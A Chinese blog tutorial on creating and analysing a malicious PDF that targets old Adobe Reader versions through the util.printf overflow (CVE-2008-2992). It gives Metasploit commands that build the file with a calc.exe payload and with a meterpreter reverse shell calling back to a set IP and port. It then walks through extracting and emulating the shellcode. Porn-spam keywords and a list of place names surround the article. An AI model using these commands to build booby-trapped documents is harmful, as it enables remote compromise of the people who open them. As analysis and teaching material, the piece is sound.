亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行惡意PDF文檔分析以及payload提取方法是什么

發布時間:2021-11-11 11:52:19 來源:億速云 閱讀:294 作者:柒染 欄目:編程語言

這篇文章將為大家詳細講解有關如何進行惡意PDF文檔分析以及payload提取方法是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

Acrobat Reader是一個可閱讀、搜索、打印幾乎任何類型的PDF文件并與之交互的PDF查看程序。不夸張的說,幾乎每個電腦用戶都安裝并使用過它。由于它的用戶范圍廣泛且安全問題頻出,因此它也成為了最容易被黑客利用的程序之一。通過度娘搜索“Acrobat Reader漏洞”那叫一個壯觀,動不動就是高危,看得我都手癢癢了~~

我將向大家展示創建惡意PDF文檔,觸發并利用漏洞的完整過程。此外,我還將帶大家深入分析惡意PDF文檔,了解payload的存儲方式以及提取方法。

PDF格式

PDF(便攜式文件格式,Portable Document Format)是由Adobe在1993年用于文件交換所發展出的文件格式。

PDF主要由三項技術組成:衍生自PostScript;字型嵌入系統;資料壓縮及傳輸系統。它的優點在於跨平臺、能保留文件原有格式(Layout)、開放標準,能免版稅(Royalty-free)自由開發PDF相容軟體,是一個開放標準。以下是一個典型PDF文檔的結構圖。有關更多信息,請參閱Adobe規范。

如何進行惡意PDF文檔分析以及payload提取方法是什么

惡意PDF創建

我們將使用metasploit來創建一個惡意偽造的PDF文檔,其中將包含exploit以及我們自定義的payload。因為該漏洞利用是針對特定版本的,因此我們需要在目標機器上下載安裝一個較早版本的Reader。

首先,我們來創建PDF。該PDF利用成功后會在目標機器上彈出計算器(calc.exe)。打開metasploit console并鍵入以下命令:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

如下所示:

如何進行惡意PDF文檔分析以及payload提取方法是什么

將剛創建的文件(/home/osboxes/.msf4/local/malicious.pdf)復制到共享驅動器上。

執行受感染PDF

在目標計算機上,下載并安裝易受攻擊的Adobe Reader版本(metasploit已經告訴我們版本應小于8.1.2)。我選擇安裝的是8.1.1版。

安裝后,我們執行malicious.pdf文件。你應該會看到從Adobe Reader進程生成的計算器。漏洞成功被利用。

如何進行惡意PDF文檔分析以及payload提取方法是什么

我準備了另一個惡意PDF,使用了不同的payload,如下:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

結果如下,我們成功在Adobe Reader上建立了一個后門(反向shell)。

如何進行惡意PDF文檔分析以及payload提取方法是什么

分析受感染PDF

現在,讓我們來看看惡意PDF中的內容,并嘗試提取其中的payload(我們仍然以calc.exe PDF為例)。

首先,我們需要用到一個名為PDF Stream Dumper的工具,下載并安裝它。然后使用該工具加載我們的惡意PDF文檔(請花些時間熟悉該工具的基本使用)。

如何進行惡意PDF文檔分析以及payload提取方法是什么

我們先來使用菜單欄中的 “Exploit Scan” 選項來檢測是否存在某些可利用漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

實際上,在stream 6中隱藏了一個可利用漏洞。

但是如果我們從頭開始:在PDF中搜索漏洞時,我們大多數時候會遇到由Javascript代碼創建的堆噴射( heap spray)。該堆噴射用于將payload推送至堆上,一旦漏洞被觸發就可以執行。

如果你打開Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接著,我們打開stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

執行位于stream 6的Javascript。該流顯示了純Javascript,現在是時候打開“Javascript_UI”菜單了。可以看到這是一大串十六進制編碼的字符,我們將其push到一個變量,以執行heap spray操作。以下是我們的payload:

如何進行惡意PDF文檔分析以及payload提取方法是什么

我們選擇payload(引號之間的部分),然后打開“Shellcode_analysis”菜單。選擇“scDbg - LibEmu Emulation”。此時,會彈出一個新的窗口并將shellcode解碼為字節(你甚至可以將其保存到文件中):

如何進行惡意PDF文檔分析以及payload提取方法是什么

LibEmu是一個能夠模擬處理器的庫,它會告知你匯編代碼的執行信息,單擊“Launch”按鈕,一看你就明白了:

如何進行惡意PDF文檔分析以及payload提取方法是什么

在這里,我們可以清楚地看到shellcode會打開一個calc.exe窗口并退出。讓我們另外一個惡意PDF(反向shell)也執行相同的分析:

如何進行惡意PDF文檔分析以及payload提取方法是什么

可以看到,Shellcode正在加載操作套接字所需的庫(ws2_32.dll),并嘗試回連C&C。

這里我并沒有展開談論exploit本身,它位于javascript代碼的末尾。它正在利用printf函數上的緩沖區溢出來執行任意代碼。以下是我們的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

關于如何進行惡意PDF文檔分析以及payload提取方法是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

盐边县| 中方县| 高阳县| 曲水县| 洛南县| 江达县| 获嘉县| 板桥市| 北海市| 翁牛特旗| 乌鲁木齐市| 北流市| 伊金霍洛旗| 米林县| 河东区| 余姚市| 江永县| 谢通门县| 通州区| 奉贤区| 汝城县| 金堂县| 绵阳市| 东乡县| 封开县| 都昌县| 仪陇县| 临汾市| 阿合奇县| 阳西县| 汪清县| 敖汉旗| 海丰县| 任丘市| 安多县| 东山县| 易门县| 台安县| 阿勒泰市| 太仓市| 屏南县|